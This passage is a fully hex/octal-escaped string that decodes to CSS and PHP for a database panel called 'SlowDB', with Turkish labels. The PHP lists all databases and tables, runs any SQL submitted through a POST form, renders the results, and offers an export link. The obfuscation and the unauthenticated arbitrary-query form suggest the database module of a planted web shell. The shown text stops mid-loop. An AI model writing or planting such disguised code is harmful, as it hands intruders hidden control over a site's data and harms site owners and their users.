\x20\40\x20\x20\x20\40\40\x20\40\x66\157\156\x74\55\x77\x65\151\147\150\164\72\x20\x37\x30\60\73\12\40\x20\40\x20\x20\x20\40\40\x20\40\x20\40\x66\x6f\x6e\x74\55\163\151\x7a\x65\72\x20\61\x31\160\170\73\12\40\x20\x20\40\40\40\x20\40\x20\x20\40\40\x74\x72\141\x6e\163\151\164\151\x6f\x6e\72\x20\60\56\63\163\x3b\xa\40\x20\40\40\x20\x20\40\40\x20\40\40\x20\164\x65\x78\x74\55\x64\145\143\157\x72\141\164\x69\x6f\x6e\72\40\x6e\x6f\x6e\x65\x3b\12\40\40\40\x20\x20\40\x20\40\40\x20\x20\x20\144\151\163\x70\x6c\x61\171\x3a\40\151\156\x6c\151\x6e\x65\55\x62\154\157\x63\x6b\x3b\12\40\x20\40\40\40\40\x20\x20\x20\40\40\x20\146\157\x6e\x74\x2d\146\x61\x6d\151\x6c\171\72\40\151\x6e\x68\x65\162\151\x74\x3b\12\x20\x20\x20\40\40\40\40\40\x7d\xa\40\40\40\40\40\x20\40\x20\56\142\164\x6e\72\x68\157\166\145\x72\40\173\40\x62\141\143\153\147\x72\x6f\x75\x6e\x64\72\40\43\70\x66\60\60\x63\x63\73\40\164\162\141\156\x73\146\157\x72\155\72\40\163\x63\x61\x6c\145\x28\x31\x2e\x30\x32\x29\x3b\40\175\xa\40\x20\40\40\40\40\40\40\56\142\164\156\x2d\x64\x61\156\x67\x65\162\x20\x7b\x20\142\141\x63\153\147\x72\157\165\x6e\144\72\40\43\142\63\x30\60\146\146\73\x20\x63\157\x6c\x6f\x72\x3a\40\43\x30\141\60\60\61\x30\73\x20\175\xa\40\40\x20\x20\x20\x20\40\x20\56\x62\164\x6e\55\x64\141\x6e\147\145\162\x3a\150\157\x76\145\x72\40\x7b\40\142\x61\x63\x6b\x67\x72\157\x75\x6e\144\x3a\40\x23\x38\x66\x30\60\143\x63\73\x20\x7d\12\40\40\40\x20\x20\40\x20\40\56\142\x74\x6e\x2d\163\x75\143\x63\x65\x73\x73\x20\173\x20\142\x61\x63\x6b\x67\162\157\165\156\x64\72\x20\x23\x32\145\143\x63\x37\x31\x3b\x20\x63\157\x6c\157\x72\72\x20\x23\60\x61\x30\60\x31\60\73\x20\x7d\12\x20\x20\40\x20\40\x20\x20\40\x2e\x62\164\156\x2d\x73\165\143\143\145\163\163\72\x68\157\x76\145\x72\x20\x7b\x20\x62\141\143\153\147\x72\157\165\156\x64\72\40\43\62\x37\141\145\x36\x30\73\40\x7d\12\40\x20\40\40\x20\x20\40\x20\56\x62\164\156\55\x77\x61\x72\x6e\151\x6e\x67\40\173\x20\142\x61\x63\x6b\x67\162\x6f\x75\x6e\x64\x3a\40\x23\146\x33\x39\x63\61\62\x3b\40\x63\157\x6c\x6f\x72\x3a\x20\x23\x30\141\60\60\61\x30\73\x20\x7d\xa\x20\x20\40\40\40\40\40\40\x2e\142\164\156\x2d\x77\141\x72\x6e\x69\156\147\x3a\150\157\x76\145\162\x20\173\40\x62\141\143\x6b\147\x72\x6f\165\x6e\144\72\x20\43\x64\66\70\x39\x31\60\73\x20\175\xa\40\40\40\x20\x20\40\40\40\x2e\x62\x74\156\55\163\x6d\x20\173\x20\x70\141\x64\x64\151\156\147\72\40\x34\x70\x78\x20\61\60\x70\x78\x3b\x20\146\x6f\x6e\164\x2d\163\151\x7a\145\x3a\40\61\x30\x70\x78\x3b\x20\x7d\xa\40\x20\x20\x20\40\x20\x20\x20\xa\40\40\40\x20\x20\x20\40\40\56\142\x61\x64\147\145\x20\173\xa\x20\40\x20\40\x20\40\x20\40\40\x20\x20\40\x62\141\143\x6b\147\162\x6f\x75\156\144\x3a\x20\x23\x31\x61\60\x35\62\x35\x3b\xa\40\40\x20\40\40\40\40\x20\40\x20\40\40\x70\141\144\144\x69\x6e\147\x3a\40\62\160\170\40\x38\160\170\x3b\12\40\40\40\x20\40\x20\40\x20\40\x20\40\40\142\157\x72\x64\x65\x72\x2d\162\141\144\x69\165\x73\x3a\40\61\60\160\x78\73\xa\40\x20\40\x20\40\40\40\40\x20\x20\40\x20\x66\x6f\x6e\x74\x2d\163\x69\x7a\145\72\40\x39\x70\x78\73\xa\x20\x20\40\40\40\40\x20\40\40\40\x20\40\x63\157\154\157\x72\72\x20\43\x35\x61\62\141\x37\x61\73\12\40\x20\x20\40\40\x20\x20\40\x7d\12\x20\x20\x20\x20\x20\40\x20\40\12\40\x20\x20\x20\x20\40\40\x20\x74\x65\170\x74\x61\x72\145\141\x2e\x73\x71\x6c\x2d\x69\x6e\x70\x75\x74\40\x7b\xa\x20\40\x20\40\x20\40\x20\40\40\x20\x20\x20\x77\151\144\x74\x68\72\40\61\x30\x30\45\x3b\xa\40\x20\x20\40\x20\40\40\40\x20\40\40\40\160\141\x64\144\x69\156\x67\x3a\x20\x31\x30\160\x78\x3b\12\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\x62\141\143\x6b\x67\x72\157\165\x6e\144\x3a\x20\43\60\141\60\60\x31\60\x3b\xa\x20\40\40\x20\40\40\x20\40\x20\40\x20\x20\142\157\x72\x64\x65\162\72\x20\x31\x70\170\40\163\x6f\x6c\151\x64\x20\x23\63\141\x30\x61\65\x61\73\xa\x20\40\40\x20\40\x20\x20\x20\x20\40\40\x20\142\x6f\162\x64\x65\162\55\162\x61\x64\151\165\163\72\x20\x36\160\x78\73\xa\x20\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\143\x6f\154\x6f\162\72\40\x23\145\x30\x65\70\146\x30\73\12\x20\x20\x20\40\40\40\x20\40\40\40\x20\40\x66\157\x6e\164\x2d\x66\141\155\151\154\171\72\x20\x27\x43\157\165\162\151\145\x72\x20\x4e\x65\167\x27\54\40\155\157\156\x6f\x73\160\141\x63\145\73\xa\x20\40\40\40\40\40\40\x20\x20\x20\x20\x20\146\x6f\156\164\x2d\163\x69\172\145\72\40\x31\62\160\x78\x3b\xa\40\40\40\40\40\40\x20\40\40\40\x20\40\155\x69\x6e\55\x68\145\x69\x67\x68\x74\72\40\x38\60\x70\x78\x3b\12\40\40\40\x20\40\x20\40\40\40\x20\x20\x20\162\x65\163\151\172\x65\72\x20\x76\145\x72\164\151\x63\x61\154\x3b\xa\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\155\x61\x72\147\151\156\x2d\142\157\164\164\157\155\x3a\40\70\160\x78\x3b\12\x20\40\x20\x20\x20\x20\x20\x20\x7d\xa\x20\x20\40\x20\x20\40\x20\40\x74\x65\x78\164\x61\162\x65\x61\x2e\163\161\x6c\55\x69\156\160\x75\164\72\146\157\x63\165\x73\40\x7b\xa\x20\40\x20\40\x20\40\40\x20\40\x20\x20\x20\142\157\162\x64\x65\162\x2d\143\157\x6c\x6f\162\72\x20\43\142\x33\60\60\146\x66\73\xa\40\x20\40\x20\40\40\x20\40\x20\x20\x20\40\157\x75\x74\154\151\x6e\x65\72\40\x6e\157\x6e\145\73\12\x20\40\40\x20\x20\x20\x20\40\40\40\x20\x20\x62\157\x78\x2d\163\x68\x61\x64\x6f\x77\72\x20\x30\x20\x30\x20\62\x30\x70\170\x20\x72\147\142\141\x28\61\x37\x39\x2c\x30\54\x32\x35\x35\54\60\x2e\x31\x29\x3b\12\40\x20\40\x20\40\x20\40\x20\x7d\xa\x20\40\x20\40\40\x20\x20\x20\12\x20\40\x20\40\x20\40\x20\40\56\146\154\x65\x78\x20\173\x20\x64\151\163\160\x6c\141\171\72\40\x66\x6c\x65\170\73\40\147\x61\160\x3a\40\70\160\x78\73\40\x66\154\145\x78\55\x77\x72\x61\x70\72\x20\167\x72\141\x70\x3b\x20\x61\154\x69\147\156\x2d\151\164\x65\155\163\72\40\143\145\156\x74\x65\162\73\x20\x7d\xa\40\x20\x20\x20\x20\x20\40\40\56\x66\x6c\145\170\55\x62\x65\x74\x77\145\145\x6e\x20\x7b\x20\144\x69\x73\160\x6c\141\x79\72\40\x66\x6c\x65\170\73\x20\x6a\165\163\x74\x69\x66\x79\x2d\143\x6f\x6e\x74\145\x6e\164\72\x20\x73\x70\x61\x63\x65\55\142\145\x74\x77\145\x65\156\73\40\x61\x6c\151\x67\x6e\55\151\x74\145\155\163\x3a\x20\143\145\x6e\x74\x65\162\73\x20\x66\x6c\145\170\x2d\x77\x72\x61\160\x3a\x20\167\x72\141\x70\x3b\40\147\x61\x70\x3a\40\70\160\170\73\40\x7d\xa\40\40\40\40\40\x20\x20\40\56\155\164\x2d\x31\60\40\173\x20\155\141\162\x67\151\x6e\x2d\x74\157\160\72\x20\x31\60\x70\x78\73\x20\175\xa\40\40\40\x20\x20\x20\x20\x20\56\155\142\x2d\61\x30\x20\x7b\x20\155\141\162\x67\151\x6e\x2d\x62\157\x74\164\x6f\x6d\72\x20\61\60\160\170\x3b\40\175\12\40\x20\40\40\x20\x20\x20\40\x2e\x74\145\170\x74\55\x73\165\x63\x63\145\x73\x73\x20\173\x20\143\157\x6c\157\162\x3a\40\x23\x32\x65\x63\143\67\61\x3b\40\x7d\12\x20\40\x20\40\40\x20\40\40\56\164\145\170\x74\x2d\144\x61\x6e\x67\145\x72\40\x7b\40\143\157\x6c\x6f\x72\72\40\43\142\x33\60\60\146\146\x3b\40\x7d\12\40\40\x20\x20\40\40\x20\40\x2e\x74\x65\170\x74\x2d\x77\141\162\156\151\156\147\40\x7b\x20\143\157\x6c\157\162\x3a\40\x23\x66\x33\71\x63\61\62\73\40\175\xa\x20\x20\40\x20\40\40\x20\x20\x2e\164\x65\x78\164\55\x6d\x75\x74\x65\x64\x20\173\40\x63\x6f\x6c\x6f\162\72\x20\x23\x35\x61\61\141\67\141\x3b\40\x7d\xa\40\40\40\40\40\x20\40\x20\12\x20\40\x20\40\40\40\40\40\x73\x65\x6c\145\143\164\x2e\144\142\x2d\163\145\154\145\143\x74\40\173\12\x20\x20\x20\40\40\x20\40\40\40\40\40\x20\142\x61\143\x6b\147\162\157\x75\156\144\72\x20\43\x30\141\60\x30\61\60\x3b\12\x20\x20\x20\x20\40\x20\40\40\x20\40\40\x20\142\x6f\x72\144\145\162\72\40\x31\160\170\x20\x73\x6f\x6c\x69\144\x20\43\63\x61\x30\141\65\141\73\xa\x20\x20\40\40\40\40\x20\x20\x20\40\40\x20\x62\157\162\x64\x65\162\55\162\x61\144\151\165\x73\72\40\66\x70\x78\73\xa\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\x20\143\x6f\x6c\x6f\162\x3a\40\x23\145\60\145\x38\x66\x30\x3b\12\40\x20\40\40\40\40\x20\40\x20\x20\40\40\x70\x61\144\144\151\156\x67\72\x20\x36\x70\x78\40\x31\x30\x70\x78\x3b\xa\x20\x20\40\40\40\x20\40\40\40\x20\40\40\146\157\x6e\x74\x2d\163\151\x7a\x65\72\40\61\61\x70\170\x3b\12\x20\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\146\x6f\x6e\x74\x2d\x66\141\x6d\151\154\x79\x3a\40\151\156\x68\x65\162\151\x74\73\xa\x20\40\40\x20\40\40\40\x20\x7d\12\40\40\40\40\40\x20\x20\x20\163\145\x6c\x65\x63\164\56\x64\x62\55\x73\x65\x6c\145\x63\164\x3a\146\x6f\143\x75\163\x20\x7b\xa\40\40\40\x20\x20\x20\x20\40\40\40\40\40\x62\157\x72\144\145\162\55\x63\x6f\x6c\x6f\162\x3a\40\x23\x62\x33\60\x30\x66\x66\x3b\xa\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\157\x75\164\x6c\x69\156\145\x3a\x20\x6e\x6f\156\145\73\12\40\40\x20\x20\40\x20\40\40\175\12\40\x20\x20\x20\40\x20\40\40\12\40\40\x20\x20\x20\40\x20\x20\x40\155\145\144\x69\x61\40\50\155\x61\x78\55\167\x69\144\x74\150\x3a\40\67\x36\70\160\170\x29\40\x7b\xa\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\40\56\150\145\141\x64\145\x72\40\173\40\x66\x6c\x65\x78\55\144\x69\x72\x65\143\x74\x69\x6f\x6e\72\x20\x63\x6f\x6c\x75\x6d\156\73\40\x61\x6c\151\x67\x6e\55\151\x74\x65\x6d\x73\72\x20\x73\164\x72\145\164\x63\150\x3b\40\x7d\xa\x20\40\40\40\40\40\x20\x20\40\x20\40\40\164\141\x62\x6c\x65\56\144\x61\164\x61\40\173\40\146\157\156\x74\55\x73\151\x7a\x65\72\40\x31\60\x70\x78\73\40\x6d\151\156\x2d\x77\151\x64\x74\150\72\40\63\x30\60\160\170\x3b\40\175\xa\40\40\40\40\x20\x20\x20\x20\40\x20\40\x20\164\141\x62\154\145\x2e\144\141\164\x61\x20\x74\150\x2c\40\x74\x61\142\x6c\145\56\144\x61\x74\x61\40\164\144\40\173\40\x70\141\144\x64\151\x6e\147\72\x20\64\x70\x78\40\66\160\170\x3b\40\175\12\x20\40\x20\40\40\x20\40\x20\175\xa\x20\40\x20\x20\x3c\57\x73\164\171\x6c\x65\x3e\12\74\x2f\150\x65\x61\144\x3e\xa\x3c\142\157\144\171\76\xa\74\144\151\x76\x20\143\x6c\x61\163\163\75\134\x22\143\157\156\164\x61\151\x6e\145\162\134\42\x3e\x22\73\xa\12\x2f\57\40\x56\145\162\x69\164\141\x62\x61\x6e\x6c\x61\x72\xc4\261\40\x6c\151\x73\x74\x65\163\x69\12\x24\144\x62\x73\x20\75\40\133\x5d\73\xa\x69\146\40\50\x24\x72\145\163\165\x6c\x74\40\x3d\40\44\x63\157\156\x6e\x2d\76\161\x75\x65\162\171\50\42\123\x48\117\x57\x20\104\101\x54\101\102\101\x53\105\123\x22\51\51\x20\x7b\xa\x20\x20\x20\x20\x77\x68\x69\x6c\145\40\x28\44\162\157\167\40\75\x20\x24\x72\x65\x73\165\154\x74\55\76\146\145\x74\x63\150\137\162\x6f\167\50\x29\x29\40\x7b\xa\40\x20\x20\x20\x20\40\x20\x20\x24\x64\142\163\x5b\135\x20\75\40\44\162\x6f\x77\133\60\x5d\x3b\xa\x20\x20\x20\40\x7d\xa\40\40\40\40\44\x72\145\163\165\x6c\x74\x2d\76\x63\154\157\x73\145\x28\x29\x3b\12\x7d\12\xa\57\57\40\x54\141\142\154\x6f\154\x61\x72\xc4\261\x20\x61\x6c\12\44\164\141\142\154\145\163\x20\75\40\x5b\x5d\x3b\xa\151\x66\x20\50\44\143\x75\162\162\145\x6e\x74\104\142\x29\x20\173\xa\x20\x20\40\40\x69\146\x20\x28\44\x72\x65\163\x75\154\x74\x20\x3d\40\44\x63\157\x6e\156\55\76\x71\x75\x65\x72\171\x28\42\x53\x48\x4f\127\40\x54\101\102\x4c\x45\123\42\x29\x29\40\x7b\12\40\x20\40\40\40\40\x20\x20\167\x68\151\154\x65\x20\x28\44\162\157\x77\40\75\x20\44\x72\145\x73\165\x6c\x74\55\76\x66\x65\164\x63\150\x5f\x72\x6f\x77\50\51\x29\x20\173\12\x20\40\x20\40\x20\x20\40\40\40\40\x20\40\x24\x74\141\x62\154\145\x73\x5b\x5d\x20\x3d\x20\44\162\x6f\167\x5b\x30\x5d\x3b\12\40\x20\x20\40\40\40\40\x20\175\12\x20\40\40\40\40\x20\40\40\x24\x72\x65\x73\165\x6c\164\55\76\143\x6c\157\x73\x65\x28\x29\x3b\xa\40\x20\40\40\x7d\12\175\12\12\57\57\40\110\145\x61\144\x65\x72\xa\145\x63\150\157\x20\42\xa\74\144\151\x76\40\143\x6c\x61\163\163\75\134\42\x68\145\x61\x64\145\x72\134\x22\76\xa\x20\x20\x20\40\x3c\144\151\x76\x3e\xa\x20\40\40\40\x20\x20\x20\40\x3c\x68\x31\x3e\74\151\40\x63\x6c\x61\163\x73\x3d\x5c\x22\146\x61\x73\x20\x66\x61\x2d\144\141\164\141\x62\141\163\x65\134\42\x3e\x3c\x2f\x69\x3e\x3c\151\40\x63\x6c\141\163\x73\x3d\134\42\x66\141\163\x20\146\x61\55\163\141\151\154\151\x6e\147\55\163\x68\x69\x70\40\163\x68\151\160\134\x22\76\x3c\x2f\151\76\40\123\x6c\157\167\104\x42\74\57\x68\61\x3e\12\x20\x20\40\40\x20\40\40\x20\74\x64\151\x76\40\143\x6c\x61\163\163\x3d\x5c\x22\x69\156\x66\157\134\42\76\xa\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\x3c\151\x20\x63\154\x61\163\x73\x3d\x5c\x22\146\141\x73\x20\x66\141\55\x73\145\162\x76\x65\162\x5c\x22\76\74\x2f\151\76\40\42\40\x2e\40\44\x63\x6f\156\146\151\147\x5b\42\150\157\163\164\x22\x5d\x20\56\40\42\x20\12\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\40\x7c\x20\74\151\40\x63\x6c\141\x73\163\x3d\134\42\146\x61\x73\40\146\141\x2d\x64\141\164\x61\x62\x61\x73\145\134\x22\x3e\x3c\57\151\76\40\42\40\x2e\x20\x28\x24\143\x75\x72\162\x65\x6e\164\104\x62\40\77\x20\x24\143\165\x72\162\145\156\x74\104\142\40\72\x20\x22\123\145\xc3\247\x69\x6c\x6d\x65\x64\151\x22\51\40\x2e\x20\42\xa\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\174\x20\x3c\163\160\x61\x6e\40\143\x6c\141\x73\x73\75\134\x22\142\141\x64\147\x65\134\42\76\42\40\56\x20\143\x6f\x75\x6e\x74\x28\44\x74\x61\x62\154\145\x73\51\40\x2e\40\x22\40\164\x61\142\154\x6f\x3c\x2f\x73\x70\x61\x6e\x3e\xa\40\40\40\x20\x20\x20\x20\x20\x3c\x2f\x64\x69\166\x3e\xa\40\40\x20\x20\x3c\57\x64\x69\x76\76\xa\x20\40\40\40\x3c\x64\x69\x76\x20\x63\154\x61\x73\163\x3d\134\42\x66\x6c\x65\x78\x5c\42\x3e\xa\40\40\40\40\x20\x20\x20\40\x3c\163\145\x6c\x65\x63\x74\40\143\154\141\x73\163\x3d\x5c\42\144\x62\55\163\145\x6c\145\143\x74\134\x22\x20\157\156\x63\150\141\x6e\x67\145\x3d\134\x22\x77\x69\x6e\x64\157\167\56\x6c\157\143\141\164\151\157\156\56\x68\x72\x65\x66\x3d\x27\x3f\x64\142\x3d\x27\40\x2b\40\164\x68\151\163\x2e\x76\x61\154\165\x65\x5c\42\x3e\12\x20\40\x20\x20\40\x20\x20\x20\x20\40\40\x20\x3c\157\160\164\151\x6f\x6e\x20\166\141\x6c\x75\x65\x3d\134\42\134\x22\x3e\360\x9f\223\x82\x20\x56\145\162\151\164\x61\142\141\x6e\xc4\xb1\40\x53\x65\xc3\247\74\x2f\x6f\x70\164\x69\157\156\76\x22\73\12\146\x6f\162\x65\x61\x63\x68\40\50\44\144\142\x73\x20\141\x73\40\44\144\x62\51\x20\173\xa\x20\x20\40\x20\44\x73\145\154\40\x3d\x20\50\x24\x64\x62\x20\x3d\75\40\x24\x63\165\162\x72\145\156\164\x44\142\x29\40\77\x20\x22\x73\x65\x6c\x65\x63\164\145\x64\42\40\72\x20\42\42\73\xa\x20\40\40\x20\145\143\150\x6f\x20\42\x3c\157\160\x74\151\157\x6e\x20\x76\141\x6c\x75\x65\75\134\42\x22\40\56\x20\165\x72\x6c\145\x6e\143\157\x64\x65\x28\x24\144\142\x29\x20\56\x20\x22\x5c\x22\40\44\x73\145\154\x3e\x22\40\x2e\40\x68\164\155\x6c\163\x70\145\x63\x69\x61\x6c\x63\150\x61\x72\x73\x28\x24\x64\x62\x29\x20\x2e\40\x22\x3c\x2f\157\x70\x74\151\157\x6e\76\42\73\12\175\12\145\143\150\157\40\x22\xa\x20\40\40\40\40\x20\x20\40\x3c\x2f\163\145\154\x65\143\164\76\12\40\x20\x20\40\x20\x20\x20\x20\74\x61\x20\x68\x72\x65\x66\x3d\134\42\77\145\170\x70\x6f\162\164\x3d\61\x5c\x22\x20\143\x6c\141\163\163\x3d\x5c\x22\142\x74\156\x20\142\164\156\x2d\x73\x75\143\x63\x65\163\163\x20\x62\x74\156\55\163\155\x5c\42\76\x3c\151\x20\x63\x6c\141\x73\163\x3d\x5c\42\x66\x61\163\40\x66\x61\55\x64\x6f\167\156\x6c\x6f\x61\x64\x5c\x22\76\x3c\x2f\x69\76\40\105\x78\160\x6f\162\164\x3c\57\141\x3e\12\x20\40\40\40\x20\40\x20\x20\74\141\x20\x68\162\145\146\75\134\42\77\134\x22\x20\x63\154\141\163\163\x3d\134\x22\x62\x74\156\x20\x62\x74\156\x2d\163\x6d\134\x22\76\74\x69\40\143\x6c\x61\163\163\75\134\x22\x66\141\x73\40\x66\141\55\163\x79\156\143\134\42\76\x3c\x2f\151\x3e\40\131\x65\x6e\x69\154\145\74\57\141\x3e\12\x20\40\40\40\74\x2f\x64\151\x76\x3e\12\x3c\57\x64\151\x76\76\x22\x3b\xa\xa\x2f\57\40\123\x51\x4c\40\123\157\162\147\x75\xa\145\143\150\157\40\x22\12\74\144\x69\x76\40\x63\x6c\x61\x73\163\75\134\42\143\141\x72\x64\x5c\x22\x3e\12\40\x20\x20\40\x3c\x68\63\x3e\x3c\x69\x20\x63\x6c\141\163\163\75\x5c\42\146\141\163\x20\146\x61\x2d\164\x65\x72\x6d\x69\x6e\141\154\134\42\76\x3c\57\151\76\x20\x53\x51\x4c\40\x53\x6f\162\147\165\x3c\57\150\63\x3e\12\x20\x20\x20\40\74\x66\157\x72\x6d\x20\155\145\164\150\x6f\x64\x3d\x5c\42\120\117\x53\124\134\x22\76\xa\x20\x20\x20\40\x20\x20\40\40\74\x74\145\x78\164\141\162\145\x61\x20\x63\x6c\141\x73\x73\x3d\x5c\x22\163\x71\154\x2d\x69\x6e\160\165\164\134\x22\40\x6e\x61\155\145\x3d\x5c\x22\163\161\154\137\x71\165\x65\162\171\x5c\42\40\x70\x6c\141\x63\x65\150\157\154\144\145\162\75\134\42\123\105\114\x45\x43\124\40\52\40\x46\122\x4f\x4d\x20\164\x61\142\154\x6f\137\x61\x64\304\xb1\x20\x4c\111\x4d\111\124\40\x31\x30\x5c\42\x3e\42\40\56\40\50\151\163\163\x65\164\50\44\x5f\120\117\123\x54\133\42\163\161\x6c\x5f\161\x75\x65\x72\171\x22\135\x29\x20\77\40\150\164\155\154\163\x70\145\143\x69\141\154\x63\150\x61\162\x73\50\44\x5f\x50\117\123\x54\x5b\42\163\x71\154\137\x71\165\145\x72\171\42\x5d\x29\40\x3a\x20\x22\42\x29\x20\56\40\x22\74\x2f\164\x65\170\164\141\x72\x65\141\76\xa\40\x20\40\x20\x20\40\40\40\74\142\165\x74\164\157\x6e\40\x74\x79\x70\145\75\134\42\x73\165\x62\155\x69\164\134\42\40\x63\x6c\141\163\x73\75\x5c\42\142\164\156\x5c\42\76\74\x69\x20\x63\x6c\141\163\163\75\x5c\x22\146\141\163\40\146\x61\55\x70\154\141\171\134\x22\x3e\x3c\x2f\x69\76\40\303\x87\x61\x6c\xc4\261\xc5\237\164\304\xb1\x72\x3c\57\142\x75\164\x74\157\x6e\76\xa\x20\x20\x20\40\x20\x20\x20\40\74\x62\x75\164\x74\157\156\x20\164\171\160\145\75\x5c\x22\x73\x75\142\x6d\x69\x74\134\x22\x20\x6e\x61\x6d\x65\75\134\x22\163\161\154\137\161\x75\x65\162\x79\x5c\x22\x20\x76\x61\x6c\x75\x65\75\x5c\42\x53\x48\117\x57\x20\124\x41\102\114\x45\x53\x5c\x22\40\143\x6c\141\163\x73\75\x5c\42\142\x74\156\x20\x62\x74\156\x2d\163\155\134\x22\x3e\360\237\x93\213\40\x54\x61\x62\x6c\157\154\141\x72\74\x2f\142\165\164\164\x6f\156\x3e\xa\40\x20\x20\x20\x3c\57\146\157\x72\x6d\76\xa\74\x2f\x64\x69\166\x3e\x22\73\12\12\x2f\57\40\x53\x6f\x72\x67\165\x20\x73\157\x6e\x75\143\165\xa\x69\x66\40\x28\151\x73\163\x65\x74\x28\x24\x5f\120\x4f\123\x54\133\42\163\161\154\137\161\x75\x65\x72\171\42\135\x29\40\x26\x26\40\x21\x65\x6d\x70\x74\171\50\x24\x5f\120\x4f\x53\x54\133\x22\x73\161\154\137\x71\x75\145\x72\171\x22\135\51\51\x20\x7b\xa\40\40\40\40\44\x71\x75\145\x72\x79\40\75\x20\44\x5f\120\117\123\x54\x5b\x22\x73\x71\154\137\x71\165\x65\162\171\42\x5d\73\xa\x20\40\x20\40\145\x63\150\x6f\40\42\74\x64\151\166\40\143\x6c\x61\x73\x73\x3d\x5c\42\x63\141\162\144\x5c\x22\76\x22\x3b\xa\40\40\x20\x20\145\x63\x68\x6f\40\x22\x3c\x68\63\76\74\151\40\x63\x6c\x61\163\x73\x3d\134\42\146\141\163\x20\x66\141\55\163\145\141\162\143\150\134\42\x3e\x3c\57\151\76\40\123\157\162\147\165\x20\123\x6f\x6e\x75\143\x75\74\57\150\63\76\42\x3b\12\40\40\x20\x20\xa\x20\x20\x20\x20\x69\x66\40\50\x24\162\145\x73\x75\x6c\164\40\75\x20\x24\143\157\x6e\x6e\x2d\76\161\165\145\162\171\x28\44\x71\165\145\162\x79\51\x29\x20\x7b\12\x20\x20\40\x20\40\40\x20\40\151\146\40\50\151\x73\137\x6f\142\152\x65\143\x74\x28\x24\x72\145\163\x75\154\164\x29\51\x20\173\12\x20\40\x20\40\40\40\40\40\x20\40\40\40\x65\x63\150\157\40\42\x3c\x64\x69\166\40\x63\154\x61\163\163\x3d\134\x22\164\141\x62\154\x65\55\x77\x72\x61\x70\x5c\42\76\x22\x3b\12\40\40\40\x20\x20\40\x20\x20\x20\40\x20\40\145\x63\x68\157\x20\42\x3c\x74\141\x62\x6c\x65\x20\143\x6c\x61\163\x73\x3d\134\x22\144\141\x74\x61\x5c\x22\x3e\x22\73\12\40\40\x20\x20\x20\40\40\x20\40\40\x20\40\x65\143\x68\x6f\40\x22\x3c\x74\x68\x65\x61\x64\76\74\164\x72\x3e\x22\x3b\xa\40\40\40\x20\40\40\40\40\40\40\40\x20\167\150\151\x6c\145\40\50\x24\146\151\x65\x6c\144\x20\x3d\x20\x24\x72\145\x73\165\154\164\x2d\x3e\x66\x65\x74\143\x68\137\146\x69\x65\x6c\144\x28\51\x29\40\x7b\xa\x20\x20\40\40\x20\40\40\40\x20\x20\x20\x20\40\40\x20\40\x65\x63\150\157\40\42\74\164\x68\x3e\x22\x20\x2e\x20\x68\164\155\x6c\x73\160\145\143\x69\141\x6c\x63\x68\x61\x72\x73\x28\x24\x66\151\x65\154\144\x2d\x3e\x6e\x61\x6d\x65\x29\40\x2e\40\42\x3c\x2f\164\150\x3e\42\73\12\x20\40\x20\x20\x20\40\40\x20\x20\40\x20\40\x7d\12\40\40\40\x20\40\x20\40\x20\x20\x20\x20\x20\x65\x63\x68\x6f\x20\x22\x3c\x2f\164\x72\76\74\x2f\x74\150\x65\x61\144\x3e\42\x3b\12\40\40\x20\40\40\40\x20\x20\40\40\40\40\145\x63\150\157\40\42\x3c\x74\142\x6f\144\x79\x3e\42\x3b\12\40\x20\40\40\40\40\40\x20\40\40\40\40\44\143\x6f\x75\156\164\x20\75\40\x30\73\xa\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\40\167\150\x69\x6c\145\40\50\44\x72\x6f\x77\x20\75\40\44\x72\145\x73\x75\x6c\x74\55\x3e\x66\x65\164\143\x68\137\141\x73\163\157\143\x28\51\x29\40\x7b\xa\40\40\x20\x20\40\40\x20\x20\x20\40\40\x20\40\40\40\40\44\x63\157\x75\x6e\164\53\x2b\x3b\12\x20\40\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\x65\x63\150\x6f\40\42\74\164\162\76\42\x3b\xa\x20\x20\x20\40\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x66\x6f\x72\x65\141\x63\x68\40\x28\x24\162\x6f\x77\x20\x61\163\40\x24\143\x6f\154\x29\40\173\xa\40\x20\x20\x20\x20\x20\40\40\40\x20\40\40\40\x20\x20\40\x20\x20\40\40\145\x63\150\157\40\42\x3c\x74\x64\x3e\x22\40\x2e\x20\x28\151\x73\137\156\x75\154\x6c\50\44\143\x6f\x6c\x29\40\77\x20\x22\74\163\160\x61\x6e\x20\143\x6c\141\163\163\x3d\x5c\x22\156\x75\x6c\154\x5c\x22\76\116\x55\114\114\x3c\57\x73\160\141\x6e\x3e\42\40\x3a\x20\150\x74\155\154\x73\160\x65\x63\151\x61\154\x63\150\141\162\163\x28\44\x63\x6f\x6c\x29\x29\x20\56\x20\42\74\x2f\164\x64\x3e\x22\73\12\x20\x20\x20\x20\40\40\x20\40\x20\40\40\x20\x20\40\x20\x20\x7d\12\40\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\145\143\x68\157\40\42\74\57\164\162\x3e\x22\73\12\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\40\x69\146\x20\50\44\x63\157\x75\x6e\164\40\x3e\x3d\40\x35\60\x29\x20\x7b\xa\40\x20\40\x20\x20\x20\x20\x20\40\x20\40\40\x20\40\40\40\40\x20\x20\x20\145\x63\150\157\x20\42\74\x74\x72\x3e\74\x74\144\40\x63\157\x6c\163\x70\141\156\75\134\x22\61\60\60\x5c\42\x20\163\164\x79\154\x65\x3d\x5c\42\164\145\170\164\x2d\141\x6c\x69\147\156\72\x63\145\156\164\145\x72\73\143\x6f\x6c\x6f\x72\x3a\43\x66\x33\x39\x63\x31\62\x3b\x5c\42\76\342\x9a\xa0\40\65\x30\40\163\141\164\xc4\261\x72\x20\147\303\xb6\x73\164\x65\162\151\x6c\x69\171\157\x72\74\57\x74\144\76\x3c\x2f\x74\x72\76\x22\x3b\xa\x20\x20\40\40\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\40\40\40\x20\142\x72\145\141\x6b\x3b\xa\x20\x20\x20\x20\40\40\40\40\40\40\x20\40\x20\x20\40\x20